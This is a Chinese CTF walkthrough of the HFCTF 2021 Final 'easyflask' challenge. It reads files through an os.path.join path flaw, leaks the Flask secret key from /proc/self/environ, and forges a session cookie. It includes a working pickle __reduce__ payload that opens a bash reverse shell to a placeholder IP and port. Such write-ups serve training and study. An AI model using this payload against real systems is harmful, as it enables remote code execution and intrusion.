[BUUOJ]HFCTF 2021 Final复现

前言

日常感谢赵总供题

easyflask

访问/file?file=/app/source获取源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

通过简单的审计我们可以发现/file路由存在任意文件读(os.path.join函数在接收绝对路径时会抛弃前面添加的路径),剩下的考点应该是pickle反序列化RCE

/proc/self/environ

HOSTNAME=99d252572f0c
PYTHON_VERSION=3.8.2
PWD=/app
_=/usr/local/bin/python3
HOME=/root
LANG=C.UTF-8
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
FLAG=flag_not_here
SHLVL=1
PYTHON_PIP_VERSION=20.0.2
PYTHON_GET_PIP_SHA256=421ac1d44c0cf9730a088e337867d974b91bdce4ea2636099275071878cc189e
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/d59197a3c169cef378a22428a3fa99d33e080a5d/get-pip.py
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
OLDPWD=/app

可以看到secret_key值为glzjin22948575858jfjfjufirijidjitg3uiiuuh。知道secret_key之后就可以污染session,然后pickle反序列化RCE。这里的反序列化和普通的反序列化一样,并没有在opcode上进行过滤,所以解决办法也就是使用__reduce__进行RCE。

注意:不清楚用class定义的类能不能在这题RCE,有兴趣的可以试一试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import pickle
from base64 import b64encode
import os

User = type('User', (object,), {
    'uname': 'tyskill',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    # 添加__reduce__方法RCE
    '__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())

生成之后使用flask_session_cookie_manager按照格式{'u':{'b':'base64字符串'}}生成session替换原session访问/admin就可以反弹shell。

坑1

正常来说不进行base64加密,直接将{'u':b'dumps结果'}生成session也可以RCE,这是因为代码方面他只是检查了u是否是dict,无论是不是字典都会进行loads操作,所以直接传序列化字符串也可以。不过这只适用于一些简单的命令,比如ls之类的,反弹shell的命令由于字符过于复杂,所以只能使用base64加密的字典格式。

坑2

靶机是Linux环境,本地是Windows环境,这两个环境下dumps的结果中序列化字符串声明系统的标识符不同:Linux=>posix;Windows=>nt,需要将脚本放在Linux环境下生成序列化字符串。

tinypng、hatenum

有空(wp)再说